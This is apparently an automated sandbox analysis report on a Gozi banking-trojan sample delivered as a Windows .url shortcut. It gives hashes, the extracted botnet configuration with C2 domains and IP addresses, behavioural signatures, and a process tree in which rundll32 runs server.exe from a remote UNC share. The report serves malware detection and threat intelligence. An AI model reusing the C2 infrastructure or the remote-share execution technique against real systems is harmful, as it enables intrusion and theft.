Analysis
- max time kernel
142s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system - submitted
22/03/2023, 18:53
Static task
static1
Behavioral task
behavioral1
Sample
Cliente/Cliente.url
Resource
win7-20230220-en
1 signatures
150 seconds
General
- Target Cliente/Cliente.url
- Size 194B
- Sample230322-xjmcjacf2v
- SHA256 ef74e678ded46b0d5f69622154c95e5ea9f053cc9d0d47e10ca7b19a2b3e5981
- MD5 2e3efd45e12ebbb0307c66f9846db315
- SHA1 ca9308c31a6bf36a784f6cf52396c7c66ae4a2db
- SHA512 24b8355fd77b7894184b34319f2a735c76cd8dd1a12525777b179e92b74e2cb46ea733d39ce2cca068fd1f95834ceab951c8b2d2ee0c6e1c17e80610c6842f0d
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
gozi
Botnet
-
7715
C2
-
checklist.skype.com
-
62.173.142.50
-
31.41.44.87
-
109.248.11.217
-
212.109.218.151
-
5.44.45.83
-
62.173.142.81
-
193.233.175.113
-
109.248.11.184
-
212.109.218.26
-
185.68.93.7
Attributes
-
base_path
/drew/
-
build
250255
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Extracted
Family
-
gozi
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1532 wrote to memory of 1852 1532 rundll32.exe 86 PID 1532 wrote to memory of 1852 1532 rundll32.exe 86 PID 1532 wrote to memory of 1852 1532 rundll32.exe 86
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente\Cliente.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1532 -
\??\UNC\109.248.11.225\Agenzia\server.exe"\\109.248.11.225\Agenzia\server.exe"2⤵PID:1852
-